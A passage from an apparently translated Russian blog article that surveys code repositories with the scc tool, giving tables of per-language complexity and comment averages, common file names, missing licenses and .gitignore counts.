файл, с которым я работаю, проще или сложнее среднего?» Должен упомянуть, что я буду рад предложениям по улучшению этой метрики в [scc](https://github.com/boyter/scc/). Для коммита обычно достаточно добавить всего несколько ключевых слов в файл languages.json, так что помощь может оказать программист любой квалификации. **Полный список** | Язык | Сложность | | --- | --- | | ABAP | 11,180740488380376 | | ASP | 11,536947250366211 | | ASP.NET | 2,149275320643484 | | ATS | 0,7621728432717677 | | AWK | 0 | | ActionScript | 22,088579905848178 | | Ada | 13,69141626294931 | | Agda | 0,19536590785719454 | | Alchemist | 0,3423442907696928 | | Alex | 0 | | Alloy | 6,9999997997656465 | | Android Interface Definition Language | 0 | | Arvo | 0 | | AsciiDoc | 0 | | Assembly | 1,5605608227976997 | | AutoHotKey | 423,87785756399626 | | Autoconf | 1,5524294972419739 | | BASH | 7,500000094871363 | | Basic | 1,0001350622574257 | | Batch | 1,4136352496767306 | | Bazel | 6,523681727119303 | | Bitbake | 0,00391388021490391 | | Bitbucket Pipeline | 0 | | Boo | 65,67764583729533 | | Bosque | 236,79837036132812 | | Brainfuck | 27,5516445041791 | | BuildStream | 0 | | C | 220,17236548200242 | | C Header | 0,027589923237434522 | | C Shell | 1,4911166269191476 | | C# | 1,0994400597744005 | | C++ | 215,23628287682845 | | C++ Header | 2,2893104921677154 | | CMake | 0,887660006199008 | | COBOL | 0,018726348891789816 | | CSS | 6,317460331175305E-176 | | CSV | 0 | | Cabal | 3,6547924155738194 | | Cargo Lock | 0 | | Cassius | 0 | | Ceylon | 21,664400369259404 | | Clojure | 0,00009155273437716484 | | ClojureScript | 0,5347588658332859 | | Closure Template | 0,503426091716392 | | CoffeeScript | 0,02021490140137264 | | ColdFusion | 6,851776515250336 | | ColdFusion CFScript | 22,287403080299764 | | Coq | 3,3282556015266307 | | Creole | 0 | | Crystal | 1,6065794006138856 | | Cython | 42,87412906489837 | | D | 0 | | Dart | 2,1264450684815657 | | Device Tree | 0 | | Dhall | 0 | | Docker ignore | 0 | | Dockerfile | 6,158891172385556 | | Document Type Definition | 0 | | Elixir | 0,5000612735793482 | | Elm | 5,237952479502043 | | Emacs Dev Env | 1,2701271416728307E-61 | | Emacs Lisp | 0,19531250990197657 | | Erlang | 0,08028322620528387 | | Expect | 0,329944610851471 | | Extensible Stylesheet Language Transformations | 0 | | F# | 0,32300702900710193 | | F\* | 9,403954876643223E-38 | | FIDL | 0,12695312593132269 | | FORTRAN Legacy | 0,8337643985574195 | | FORTRAN Modern | 7,5833590276411185 | | Fish | 1,3386242155247368 | | Flow9 | 34,5 | | Forth | 2,4664166555765066 | | Fragment Shader File | 0,0003388836600090293 | | Freemarker Template | 10,511094652522283 | | Futhark | 0,8057891242233386 | | GDScript | 10,750000000022537 | | GLSL | 0,6383056697891334 | | GN | 22,400601854287807 | | Game Maker Language | 4,709514207365569 | | Game Maker Project | 0 | | Gherkin Specification | 0,4085178437480328 | | Go | 50,06279203974034 | | Go Template | 2,3866690339840662E-153 | | Gradle | 0 | | Groovy | 3,2506868488244898 | | HEX | 0 | | HTML | 0 | | Hamlet | 0,25053861103978114 | | Handlebars | 1,6943764911351036E-21 | | Happy | 0 | | Haskell | 28,470107150053625 | | Haxe | 66,52873523714804 | | IDL | 7,450580598712868E-9 | | Idris | 17,77642903881352 | | Intel HEX | 0 | | Isabelle | 0,0014658546850726184 | | JAI | 7,749968137734008 | | JSON | 0 | | JSONL | 0 | | JSX | 0,3910405338329044 | | Jade | 0,6881713929215119 | | Janet | 0 | | Java | 297,22908150612085 | | JavaScript | 1,861130583340945 | | JavaServer Pages | 7,24235416213196 | | Jenkins Buildfile | 0 | | Jinja | 0,6118526458846931 | | Julia | 5,779676990326951 | | Julius | 3,7432448068125277 | | Jupyter | 0 | | Just | 1,625490248219907 | | Korn Shell | 11,085027896435056 | | Kotlin | 5,467347841779503 | | LD Script | 6,538079182471746E-26 | | LESS | 0 | | LEX | 0 | | LOLCODE | 5,980839657708373 | | LaTeX | 0 | | Lean | 0,0019872561135834133 | | License | 0 | | Lisp | 4,033602018074421 | | Lua | 44,70686769972825 | | Lucius | 0 | | Luna | 0 | | MQL Header | 82,8036524637758 | | MQL4 | 2,9989408299408566 | | MQL5 | 32,84198718928553 | | MSBuild | 2,9802322387695312E-8 | | MUMPS | 5,767955578948634E-17 | | Macromedia eXtensible Markup Language | 0 | | Madlang | 8,25 | | Makefile | 3,9272747722381812E-90 | | Mako | 0,007624773579836673 | | Markdown | 0 | | Meson | 0,3975182396400463 | | Modula3 | 0,7517121883916386 | | Module-Definition | 0,25000000023283153 | | Monkey C | 9,838715311259486 | | Mustache | 0,00004191328599945435 | | Nim | 0,04812580073302998 | | Nix | 25,500204694250044 | | OCaml | 16,92218069843716 | | Objective C | 65,08967337175548 | | Objective C++ | 10,886891531550603 | | Opalang | 1,3724696160763994E-8 | | Org | 28,947825231747235 | | Oz | 6,260657086070324 | | PHP | 2,8314653639690874 | | PKGBUILD | 0 | | PSL Assertion | 0,5009768009185791 | | Pascal | 4 | | Patch | 0 | | Perl | 48,16959255514553 | | Plain Text | 0 | | Polly | 0 | | Pony | 4,91082763671875 | | Powershell | 0,43151378893449877 | | Processing | 9,691001653621564 | | Prolog | 0,5029296875147224 | | Properties File | 0 | | Protocol Buffers | 0,07128906529847256 | | Puppet | 0,16606500436341776 | | PureScript | 1,3008141816356456 | | Python | 11,510142201304832 | | Q# | 5,222080192729404 | | QCL | 13,195626304795667 | | QML | 0,3208023407643109 | | R | 0,40128818821921775 | | Rakefile | 2,75786388297917 | | Razor | 0,5298294073055322 | | ReStructuredText | 0 | | Report Definition Language | 0 | | Robot Framework | 0 | | Ruby | 7,8611656283491795 | | Ruby HTML | 1,3175727506823756 | | Rust | 8,62646485221385 | | SAS | 0,5223999023437882 | | SKILL | 0,4404907226562501 | | SPDX | 0 | | SQL | 0,00001537799835205078 | | SRecode Template | 0,18119949102401853 | | SVG | 1,7686873200833423E-74 | | Sass | 7,002974651049148E-113 | | Scala | 17,522343645163424 | | Scheme | 0,00003147125255509322 | | Scons | 25,56868253610655 | | Shell | 6,409446969197895 | | Smarty Template | 53,06143077491294 | | Softbridge Basic | 7,5 | | Specman e | 0,0639350358484781 | | Spice Netlist | 1,3684555315672042E-48 | | Standard ML (SML) | 24,686901116754818 | | Stata | 1,5115316917094068 | | Stylus | 0,3750006556512421 | | Swift | 0,5793484510104517 | | Swig | 0 | | SystemVerilog | 0,250593163372906 | | Systemd | 0 | | TCL | 96,5072605676113 | | TOML | 0,0048828125000002776 | | TaskPaper | 0 | | TeX | 54,0588040258797 | | Thrift | 0 | | Twig Template | 2,668124511961211 | | TypeScript | 9,191392608918255 | | TypeScript Typings | 6,1642456222327375 | | Unreal Script | 2,7333421227943004 | | Ur/Web | 16,51621568240534 | | Ur/Web Project | 0 | | V | 22,50230618938804 | | VHDL | 18,05495198571289 | | Vala | 147,2761703068509 | | Varnish Configuration | 0 | | Verilog | 5,582400367711671 | | Verilog Args File | 0 | | Vertex Shader File | 0,0010757446297590262 | | Vim Script | 2,4234658314493798 | | Visual Basic | 0,0004882812500167852 | | Visual Basic for Applications | 4,761343429454877 | | Vue | 0,7529517744621779 | | Wolfram | 0,0059204399585724215 | | Wren | 0,08593750013097715 | | XAML | 6,984919309616089E-10 | | XCode Config | 0 | | XML | 0 | | XML Schema | 0 | | Xtend | 2,8245844719990547 | | YAML | 0 | | Zig | 1,0158334437942358 | | Zsh | 1,81697392626756 | | gitignore | 0 | | ignore | 0 | | m4 | 0 | | nuspec | 0 | | sed | 22,91158285739948 | Среднее количество комментариев для файлов на каждом языке? =========================================================== Каково среднее количество комментариев в файлах на каждом языке? Вероятно, вопрос можно перефразировать: разработчики на каком языке пишут больше всего комментариев, предполагая непонимание читателя. **Полный список** | Язык | Комментарии | | --- | --- | | ABAP | 56,3020026683825 | | ASP | 24,67145299911499 | | ASP.NET | 9,140447860406259E-11 | | ATS | 41,89465025163305 | | AWK | 11,290069486393975 | | ActionScript | 31,3568633027012 | | Ada | 61,269572412982384 | | Agda | 2,4337660860304755 | | Alchemist | 2,232399710231226E-103 | | Alex | 0 | | Alloy | 0,000002207234501959681 | | Android Interface Definition Language | 26,984662160277367 | | Arvo | 0 | | AsciiDoc | 0 | | Assembly | 2,263919769706678E-72 | | AutoHotKey | 15,833985920534857 | | Autoconf | 0,47779749499136687 | | BASH | 34,15625059662068 | | Basic | 1,4219117348874069 | | Batch | 1,0430908205926455 | | Bazel | 71,21859817579139 | | Bitbake | 0,002480246487177871 | | Bitbucket Pipeline | 0,567799577547725 | | Boo | 5,03128187009327 | | Bosque | 0,125244140625 | | Brainfuck | 0 | | BuildStream | 12,84734197699206 | | C | 256,2839210573451 | | C Header | 184,88885430308878 | | C Shell | 5,8409870392823375 | | C# | 30,96563720101839 | | C++ | 44,61584829131642 | | C++ Header | 27,578790410119197 | | CMake | 1,7564333047949374 | | COBOL | 0,7503204345703562 | | CSS | 4,998773531463529 | | CSV | 0 | | Cabal | 4,899812531420634 | | Cargo Lock | 0,0703125 | | Cassius | 0,07177734654413487 | | Ceylon | 3,6406326349824667 | | Clojure | 0,0987220821845421 | | ClojureScript | 0,6025725119252456 | | Closure Template | 17,078124673988057 | | CoffeeScript | 1,6345682790069884 | | ColdFusion | 33,745563628665096 | | ColdFusion CFScript | 13,566947396771592 | | Coq | 20,3222774725393 | | Creole | 0 | | Crystal | 6,0308081267588145 | | Cython | 21,0593019957583 | | D | 0 | | Dart | 4,634361584097128 | | Device Tree | 33,64898256434121 | | Dhall | 1,0053101042303751 | | Docker ignore | 8,003553375601768E-11 | | Dockerfile | 4,526245545632278 | | Document Type Definition | 0 | | Elixir | 8,0581139370409 | | Elm | 24,73191350743249 | | Emacs Dev Env | 2,74822998046875 | | Emacs Lisp | 12,168370702306452 | | Erlang | 16,670030919109056 | | Expect | 3,606161126133445 | | Extensible Stylesheet Language Transformations | 0 | | F# | 0,5029605040200058 | | F\* | 5,33528354690743E-27 | | FIDL | 343,0418392068642 | | FORTRAN Legacy | 8,121405267242158 | | FORTRAN Modern | 171,32042583820953 | | Fish | 7,979248739519377 | | Flow9 | 0,5049991616979244 | | Forth | 0,7578125 | | Fragment Shader File | 0,2373057885016209 | | Freemarker Template | 62,250244379050855 | | Futhark | 0,014113984877253714 | | GDScript | 31,14457228694065 | | GLSL | 0,2182627061047912 | | GN | 17,443267241931284 | | Game Maker Language | 3,9815753922640824 | | Game Maker Project | 0 | | Gherkin Specification | 0,0032959059321794604 | | Go | 6,464829990599041 | | Go Template | 4,460169822267483E-251 | | Gradle | 0,5374194774415457 | | Groovy | 32,32068506016523 | | HEX | 0 | | HTML | 0,16671794164614084 | | Hamlet | 4,203293477836184E-24 | | Handlebars | 0,9389737429747177 | | Happy | 0 | | Haskell | 20,323476462551376 | | Haxe | 9,023509566990532 | | IDL | 1,01534495399968 | | Idris | 0,36279318680267497 | | Intel HEX | 0 | | Isabelle | 4,389802167076498 | | JAI | 2,220446049250313E-16 | | JSON | 0 | | JSONL | 0 | | JSX | 0,9860839844113964 | | Jade | 0,25000000000034117 | | Janet | 9,719207406044006 | | Java | 330,66188089718935 | | JavaScript | 22,102491285372537 | | JavaServer Pages | 4,31250095370342 | | Jenkins Buildfile | 0 | | Jinja | 2,5412145720173454E-50 | | Julia | 12,542627036271085 | | Julius | 0,24612165248208867 | | Jupyter | 0 | | Just | 0,3186038732601446 | | Korn Shell | 40,89005232702741 | | Kotlin | 0,3259347784770708 | | LD Script | 3,7613336386434204 | | LESS | 15,495439701029127 | | LEX | 55,277186392539086 | | LOLCODE | 13,578125958700468 | | LaTeX | 3,316717967334341 | | Lean | 21,194565176965895 | | License | 0 | | Lisp | 88,10676444837796 | | Lua | 76,67247973843406 | | Lucius | 0,3894241626790286 | | Luna | 16,844066019174637 | | MQL Header | 82,22436339969337 | | MQL4 | 1,957314499740677 | | MQL5 | 27,463183855085845 | | MSBuild | 0,19561428198176206 | | MUMPS | 5,960464477541773E-8 | | Macromedia eXtensible Markup Language | 0 | | Madlang | 6,75 | | Makefile | 1,2287070602578574 | | Mako | 1,3997604187154047E-8 | | Markdown | 0 | | Meson | 4,594536366188615 | | Modula3 | 3,4375390004645627 | | Module-Definition | 7,754887182446689 | | Monkey C | 0,02734480644075532 | | Mustache | 0,0000038370490074157715 | | Nim | 0,8432132130061808 | | Nix | 165,09375 | | OCaml | 27,238212826702338 | | Objective C | 32,250000004480256 | | Objective C++ | 4,688333711547599 | | Opalang | 3,2498599900436704 | | Org | 2,4032862186444435 | | Oz | 11,531631554476924 | | PHP | 0,37573912739754056 | | PKGBUILD | 0 | | PSL Assertion | 4,470348358154297E-7 | | Pascal | 274,7797153576955 | | Patch | 0 | | Perl | 42,73014043490598 | | Plain Text | 0 | | Polly | 0 | | Pony | 0,2718505859375 | | Powershell | 2,0956492198317282 | | Processing | 11,358358417519032 | | Prolog | 6,93889390390723E-17 | | Properties File | 4,297774864451927 | | Protocol Buffers | 5,013992889700926 | | Puppet | 1,9962931947466012 | | PureScript | 6,608705271035433 | | Python | 15,208443286809963 | | Q# | 0,4281108849922295 | | QCL | 13,880147817629737 | | QML | 16,17036877582475 | | R | 5,355639399818855 | | Rakefile | 0,4253943361101697 | | Razor | 0,2500305203720927 | | ReStructuredText | 0 | | Report Definition Language | 1,8589575837924928E-119 | | Robot Framework | 0 | | Ruby | 8,696056880656087 | | Ruby HTML | 0,031281024218515086 | | Rust | 22,359375028118006 | | SAS | 0,7712382248290134 | | SKILL | 0,002197265625 | | SPDX | 0 | | SQL | 0,4963180149979617 | | SRecode Template | 17,64534428715706 | | SVG | 0,780306812508952 | | Sass | 1,6041624981030795 | | Scala | 2,7290137764062656 | | Scheme | 18,68675828842983 | | Scons | 9,985132321266597 | | Shell | 19,757167057040007 | | Smarty Template | 0,0009841919236350805 | | Softbridge Basic | 4,76177694441164E-25 | | Specman e | 0,1925095270881778 | | Spice Netlist | 5,29710110812646 | | Standard ML (SML) | 0,20708566564292288 | | Stata | 0,04904100534194722 | | Stylus | 4,534405773074049 | | Swift | 1,8627019961192913E-9 | | Swig | 11,786422730001505 | | SystemVerilog | 0,00009708851624323821 | | Systemd | 0 | | TCL | 382,839838598133 | | TOML | 0,37500173695180483 | | TaskPaper | 0 | | TeX | 8,266233975096164 | | Thrift | 50,53134153016524 | | Twig Template | 0 | | TypeScript | 8,250029131770134 | | TypeScript Typings | 37,89904005334354 | | Unreal Script | 46,13322029508541 | | Ur/Web | 0,04756343913582129 | | Ur/Web Project | 6,776263578034403E-21 | | V | 28,75797889154211 | | VHDL | 37,47892257625405 | | Vala | 74,26528331441615 | | Varnish Configuration | 19,45791923156868 | | Verilog | 4,165537942430622 | | Verilog Args File | 0 | | Vertex Shader File | 1,7979557178975683 | | Vim Script | 0 | | Visual Basic | 0,26300267116040704 | | Visual Basic for Applications | 0,3985138943535276 | | Vue | 5,039982162930666E-52 | | Wolfram | 70,01674025323683 | | Wren | 30694,003311276458 | | XAML | 0,5000169009533838 | | XCode Config | 13,653495818959595 | | XML | 3,533205032457776 | | XML Schema | 0 | | Xtend | 19,279739396268607 | | YAML | 1,1074293861154887 | | Zig | 0,507775428428431 | | Zsh | 6,769231127673729 | | gitignore | 1,3347179947709417E-20 | | ignore | 0,0356445312500015 | | m4 | 5,4183238737327075 | | nuspec | 3,640625 | | sed | 6,423678000929861 | Каковы наиболее распространённые имена файлов? ============================================== Какие имена файлов наиболее распространены во всех кодовых базах, игнорируя расширение и регистр? Если бы вы спросили меня раньше, я бы сказал: README, main, index, license. Результаты довольно хорошо отражают мои предположения. Хотя там есть много интересного. Понятия не имею, почему так много проектов содержат файл под названием `15` или `s15`. Самый распространённый файл makefile немного удивил меня, но потом я вспомнил, что он используется во многих новых проектах JavaScript. Ещё одна интересная вещь, которую следует отметить: похоже, jQuery по-прежнему на коне, и сообщения о его смерти сильно преувеличены, причём он на четвёртом месте в списке. **Полный список** | file-name | count | | --- | --- | | makefile | 59 141 098 | | index | 33 962 093 | | readme | 22 964 539 | | jquery | 20 015 171 | | main | 12 308 009 | | package | 10 975 828 | | license | 10 441 647 | | \_\_init\_\_ | 10 193 245 | | strings | 8 414 494 | | android | 7 915 225 | | config | 7 391 812 | | default | 5 563 255 | | build | 5 510 598 | | setup | 5 291 751 | | test | 5 282 106 | | irq | 4 914 052 | | 15 | 4 295 032 | | country | 4 274 451 | | pom | 4 054 543 | | io | 3 642 747 | | system | 3 629 821 | | common | 3 629 698 | | gpio | 3 622 587 | | core | 3 571 098 | | module | 3 549 789 | | init | 3 378 919 | | dma | 3 301 536 | | bootstrap | 3 162 859 | | application | 3 000 210 | | time | 2 928 715 | | cmakelists | 2 907 539 | | plugin | 2 881 206 | | base | 2 805 340 | | s15 | 2 733 747 | | androidmanifest | 2 727 041 | | cache | 2 695 345 | | debug | 2 687 902 | | file | 2 629 406 | | app | 2 588 208 | | version | 2 580 288 | | assemblyinfo | 2 485 708 | | exception | 2 471 403 | | project | 2 432 361 | | util | 2 412 138 | | user | 2 343 408 | | clock | 2 283 091 | | timex | 2 280 225 | | pci | 2 231 228 | | style | 2 226 920 | | styles | 2 212 127 | Обратите внимание, что из-за ограничений памяти я сделал этот процесс чуть менее точным. Через каждые 100 проектов я проверял карту и удалял из списка имена файлов, которые встречались менее 10 раз. Они могли вернуться к следующей проверке, и если встречались более 10 раз, то оставались в списке. Возможно, некоторые результаты имеют некоторую погрешность, если какое-то общее имя редко появлялось в первой партии репозиториев, прежде чем стать общим. Короче говоря, это не абсолютные числа, но должны быть достаточно близки к ним. Я мог бы использовать префиксное дерево, чтобы «сжать» пространство и получить абсолютные числа, но мне не хотелось его писать, так что я слегка злоупотребил map, чтобы сэкономить достаточно памяти и получить результат. Однако довольно любопытно будет позже попробовать префиксное дерево. В скольких репозиториях отсутствует лицензия? ============================================= Это очень интересно. У какого количества репозиториев есть хоть какой-нибудь явный файл лицензии? Обратите внимание, что отсутствие файла лицензии здесь не означает, что у проекта его нет, поскольку он может существовать в файле README или указываться через теги комментариев SPDX в строках. Это просто означает, что `scc` не смог найти явный файл лицензии, используя свои собственные критерии. На данный момент такими файлами считаются файлы “license”, “licence”, “copying”, “copying3”, “unlicense”, “unlicence”, “license-mit”, “licence-mit” или “copyright”. К сожалению, у подавляющего большинства репозиториев нет лицензии. Я бы сказал, что есть много причин, почему любому ПО нужна лицензия, но вот кто-то другой [сказал это](https://www.infoworld.com/article/2839560/sticking-a-license-on-everything.html) за меня. | Есть лицензия? | Количество | | --- | --- | | нет | 6 502 753 | | есть | 2 597 330 | ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d0a/840/6c3/d0a8406c3be0334519b7c38f9b28a251.png) Сколько проектов используют несколько файлов .gitignore? ======================================================== Некоторые могут не знать этого, но в проекте git может быть несколько файлов .gitignore. С учётом этого сколько проектов используют несколько файлов .gitignore? А заодно, у скольких нет ни одного? Я нашёл довольно интересный проект с 25 794 файлами .gitignore в репозитории. Следующим результатом было 2547. Понятия не имею, что там происходит. Я мельком взглянул: похоже, что они используются для проверки каталогов, но не могу это подтвердить. Возвращая к данным, вот график репозиториев с числом файлов .gitignore до 20 штук, который покрывает 99% всех проектов. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/280/d07/2af/280d072aff449ec1edfa90778901822e.png) Как и ожидалось, у большинства проектов 0 или 1 файлов .gitignore. Это подтверждается массивным десятикратным падением числа проектов, у которых количество файлов 2. Что меня удивило, так это то, как много проектов имеют больше, чем один файл .gitignore. Длинный хвост в этом случае особенно длинный. Мне стало любопытно, почему у некоторых проектов тысячи таких файлов. Один из главных нарушителей спокойствия — форки <https://github.com/PhantomX/slackbuilds>: у каждого из них около 2547 файла .gitignore. Ниже перечислены другие репозитории с числом файлов .gitignore более тысячи. * 25 794 файлов: <https://github.com/knot-git/rrs_publication_ocr> * 1523 файлов: <https://github.com/brunosimon/hetic> * 1267 файлов: <https://github.com/par4all/par4all> * 1186 файлов: <https://github.com/ramonluis1987/code_school> * 1133 файлов: <https://github.com/signed/license-maven-plugin> **Полный список** | Количество .gitignore | Число проектов | | --- | --- | | 0 | 3 628 829 | | 1 | 4 576 435 | | 2 | 387 748 | | 3 | 136 641 | | 4 | 79 808 | | 5 | 48 336 | | 6 | 33 686 | | 7 | 33 408 | | 8 | 22 571 | | 9 | 16 453 | | 10 | 11 198 | | 11 | 10 070 | | 12 | 8 194 | | 13 | 7 701 | | 14 | 5 040 | | 15 | 4 320 | | 16 | 5 905 | | 17 | 4 156 | | 18 | 4 542 | | 19 | 3 828 | | 20 | 2 706 | | 21 | 2 449 | | 22 | 1 975 | | 23 | 2 255 | | 24 | 2 060 | | 25 | 1 768 | | 26 | 2 886 | | 27 | 2 648 | | 28 | 2 690 | | 29 | 1 949 | | 30 | 1 677 | | 31 | 3 348 | | 32 | 1 176 | | 33 | 794 | | 34 | 1 153 | | 35 | 845 | | 36 | 488 | | 37 | 627 | | 38 | 533 | | 39 | 502 | | 40 | 398 | | 41 | 370 | | 42 | 355 | | 43 | 1 002 | | 44 | 265 | | 45 | 262 | | 46 | 295 | | 47 | 178 | | 48 | 384 | | 49 | 270 | | 50 | 189 | | 51 | 435 | | 52 | 202 | | 53 | 196 | | 54 | 325 | | 55 | 253 | | 56 | 320 | | 57 | 126 | | 58 | 329 | | 59 | 286 | | 60 | 292 | | 61 | 152 | | 62 | 237 | | 63 | 163 | | 64 | 149 | | 65 | 187 | | 66 | 164 | | 67 | 92 | | 68 | 80 | | 69 | 138 | | 70 | 102 | | 71 | 68 | | 72 | 62 | | 73 | 178 | | 74 | 294 | | 75 | 89 | | 76 | 118 | | 77 | 110 | | 78 | 319 | | 79 | 843 | | 80 | 290 | | 81 | 162 | | 82 | 127 | | 83 | 147 | | 84 | 170 | | 85 | 275 | | 86 | 1 290 | | 87 | 614 | | 88 | 4 014 | | 89 | 2 275 | | 90 | 775 | | 91 | 3 630 | | 92 | 362 | | 93 | 147 | | 94 | 110 | | 95 | 71 | | 96 | 75 | | 97 | 62 | | 98 | 228 | | 99 | 71 | | 100 | 174 | | 101 | 545 | | 102 | 304 | | 103 | 212 | | 104 | 284 | | 105 | 516 | | 106 | 236 | | 107 | 39 | | 108 | 69 | | 109 | 131 | | 110 | 82 | | 111 | 102 | | 112 | 465 | | 113 | 621 | | 114 | 47 | | 115 | 59 | | 116 | 43 | | 117 | 40 | | 118 | 43 | | 119 | 443 | | 120 | 72 | | 121 | 42 | | 122 | 33 | | 123 | 392 | | 124 | 66 | | 125 | 46 | | 126 | 381 | | 127 | 19 | | 128 | 99 | | 129 | 906 | | 130 | 52 | | 131 | 19 | | 132 | 11 | | 133 | 99 | | 134 | 10 | | 135 | 15 | | 136 | 6 | | 137 | 22 | | 138 | 44 | | 139 | 33 | | 140 | 24 | | 141 | 33 | | 142 | 39 | | 143 | 48 | | 144 | 80 | | 145 | 20 | | 146 | 28 | | 147 | 19 | | 148 | 17 | | 149 | 11 | | 150 | 20 | | 151 | 57 | | 152 | 35 | | 153 | 24 | | 154 | 31 | | 155 | 35 | | 156 | 55 | | 157 | 89 | | 158 | 57 | | 159 | 88 | | 160 | 18 | | 161 | 47 | | 162 | 56 | | 163 | 36 | | 164 | 63 | | 165 | 99 | | 166 | 44 | | 167 | 64 | | 168 | 86 | | 169 | 70 | | 170 | 111 | | 171 | 106 | | 172 | 25 | | 173 | 39 | | 174 | 14 | | 175 | 25 | | 176 | 53 | | 177 | 20 | | 178 | 56 | | 179 | 11 | | 180 | 7 | | 181 | 40 | | 182 | 32 | | 183 | 17 | | 184 | 68 | | 185 | 38 | | 186 | 16 | | 187 | 3 | | 188 | 4 | | 189 | 2 | | 190 | 12 | | 191 | 18 | | 192 | 37 | | 193 | 9 | | 194 | 10 | | 195 | 11 | | 196 | 18 | | 197 | 45 | | 198 | 27 | | 199 | 11 | | 200 | 39 | | 201 | 23 | | 202 | 37 | | 203 | 22 | | 204 | 21 | | 205 | 7 | | 206 | 40 | | 207 | 7 | | 208 | 8 | | 209 | 16 | | 210 | 29 | | 211 | 20 | | 212 | 21 | | 213 | 7 | | 214 | 4 | | 215 | 12 | | 217 | 21 | | 218 | 13 | | 220 | 12 | | 221 | 2 | | 222 | 15 | | 223 | 4 | | 224 | 12 | | 225 | 9 | | 226 | 1 | | 227 | 8 | | 228 | 3 | | 229 | 6 | | 230 | 8 | | 231 | 31 | | 232 | 26 | | 233 | 6 | | 234 | 17 | | 235 | 6 | | 236 | 23 | | 237 | 1 | | 238 | 11 | | 239 | 2 | | 240 | 10 | | 241 | 7 | | 242 | 11 | | 243 | 1 | | 244 | 14 | | 245 | 21 | | 246 | 3 | | 247 | 12 | | 248 | 1 | | 249 | 6 | | 250 | 10 | | 251 | 5 | | 252 | 18 | | 253 | 7 | | 254 | 17 | | 255 | 4 | | 256 | 16 | | 257 | 8 | | 258 | 24 | | 259 | 17 | | 260 | 4 | | 261 | 1 | | 262 | 3 | | 263 | 12 | | 264 | 3 | | 265 | 8 | | 267 | 2 | | 268 | 1 | | 269 | 3 | | 271 | 4 | | 272 | 1 | | 273 | 1 | | 274 | 1 | | 275 | 3 | | 276 | 6 | | 279 | 5 | | 280 | 1 | | 281 | 1 | | 284 | 4 | | 285 | 1 | | 286 | 1 | | 288 | 2 | | 289 | 1 | | 290 | 5 | | 291 | 4 | | 293 | 7 | | 294 | 4 | | 295 | 1 | | 296 | 1 | | 297 | 1 | | 299 | 70 | | 300 | 2 | | 301 | 4 | | 302 | 1 | | 303 | 7 | | 305 | 1 | | 306 | 2 | | 307 | 2 | | 309 | 1 | | 310 | 7 | | 311 | 1 | | 313 | 14 | | 316 | 1 | | 320 | 1 | | 321 | 6 | | 322 | 2 | | 323 | 3 | | 324 | 4 | | 327 | 4 | | 328 | 2 | | 329 | 1 | | 330 | 13 | | 331 | 5 | | 332 | 11 | | 333 | 3 | | 334 | 1 | | 335 | 1 | | 336 | 11 | | 337 | 1 | | 338 | 20 | | 339 | 11 | | 340 | 2 | | 341 | 6 | | 342 | 10 | | 343 | 37 | | 344 | 25 | | 345 | 9 | | 346 | 32 | | 347 | 4 | | 348 | 9 | | 349 | 7 | | 350 | 12 | | 351 | 2 | | 352 | 5 | | 354 | 7 | | 358 | 32 | | 359 | 7 | | 360 | 6 | | 361 | 1 | | 362 | 21 | | 363 | 14 | | 364 | 51 | | 365 | 17 | | 367 | 18 | | 368 | 9 | | 370 | 7 | | 371 | 6 | | 372 | 15 | | 373 | 1 | | 374 | 38 | | 375 | 113 | | 376 | 57 | | 377 | 37 | | 378 | 23 | | 379 | 87 | | 380 | 65 | | 382 | 1 | | 386 | 2 | | 388 | 1 | | 391 | 5 | | 392 | 1 | | 394 | 1 | | 397 | 3 | | 401 | 1 | | 403 | 1 | | 408 | 1 | | 409 | 2 | | 410 | 5 | | 411 | 1 | | 413 | 4 | | 415 | 1 | | 418 | 1 | | 420 | 1 | | 427 | 3 | | 428 | 2 | | 430 | 2 | | 433 | 314 | | 437 | 1 | | 450 | 2 | | 453 | 1 | | 468 | 1 | | 469 | 1 | | 483 | 5 | | 484 | 1 | | 486 | 1 | | 488 | 2 | | 489 | 9 | | 490 | 4 | | 492 | 2 | | 493 | 106 | | 494 | 3 | | 495 | 1 | | 496 | 2 | | 498 | 1 | | 512 | 1 | | 539 | 1 | | 553 | 1 | | 560 | 2 | | 570 | 2 | | 600 | 1 | | 602 | 3 | | 643 | 1 | | 646 | 2 | | 657 | 1 | | 663 | 1 | | 670 | 1 | | 672 | 2 | | 729 | 5 | | 732 | 1 | | 739 | 1 | | 744 | 1 | | 759 | 1 | | 778 | 1 | | 819 | 1 | | 859 | 1 | | 956 | 1 | | 959 | 2 | | 964 | 2 | | 965 | 1 | | 973 | 1 | | 1 133 | 1 | | 1 186 | 1 | | 1 267 | 2 | | 1 523 | 1 | | 2 535 | 1 | | 2 536 | 1 | | 2 537 | 2 | | 2 539 | 1 | | 2 540 | 1 | | 2 541 | 5 | | 2 542 | 1 | | 2 545 | 1 | | 2 547 | 1 | | 25 794 | 1 | На каком языке больше обсценной лексики? ======================================== Этот раздел — не точная наука, а относится к классу проблем обработки естественного языка. Поиск в именах файлов ругательств или оскорбительных терминов по определённому списку никогда не будет эффективным. Если искать простым поиском, то вы найдёте много обычных файлов вроде `assemble.sh` и так далее. Поэтому я взял список ругательств, а затем проверил, начинаются ли какие-либо файлы в каждом проекте с одним из этих значений, за которым следует точка. Это означает, что файл под названием `gangbang.java` будет учтён, а `assemble.sh` — нет. Однако он пропустит много разнообразных вариантов, таких как `pu55syg4rgle.java` и другие такие же грубые названия. Мой список содержит некоторые слова на leetspeak, такие как `b00bs` и `b1tch`, чтобы поймать некоторые из интересных случаев. Полный список [здесь](https://boyter.org/static/an-informal-survey/curse.txt). Хотя это не совсем точно, как уже упоминалось, но невероятно интересно посмотреть на результат. Давайте начнём со списка языков, в которых больше всего ругательств. Вероятно, следует соотнести результат с общим количеством кода на каждом языке. Итак, вот лидеры. | Язык | Имена файлов с ругательствами | Процент файлов | | --- | --- | --- | | C Header | 7660 | 0,00126394567906% | | Java | 7023 | 0,00258792635479% | | C | 6897 | 0,00120706524533% | | PHP | 5713 | 0,00283428484703% | | JavaScript | 4306 | 0,00140692338568% | | HTML | 3560 | 0,00177646776919% | | Ruby | 3121 | 0,00223136542655% | | JSON | 1598 | 0,00293688627715% | | C++ | 1543 | 0,00135977378652% | | Dart | 1533 | 0,19129310646% | | Rust | 1504 | 0,038465935524% | | Go Template | 1500 | 0,0792233157387% | | SVG | 1234 | 0,00771043360379% | | XML | 1212 | 0,000875741051608% | | Python | 1092 | 0,00119138129893% | | JavaServer Pages | 1037 | 0,0215440542669% | Интересно! Моя первая мысль была: «Ох уж эти озорные разработчики на С!» Но несмотря на 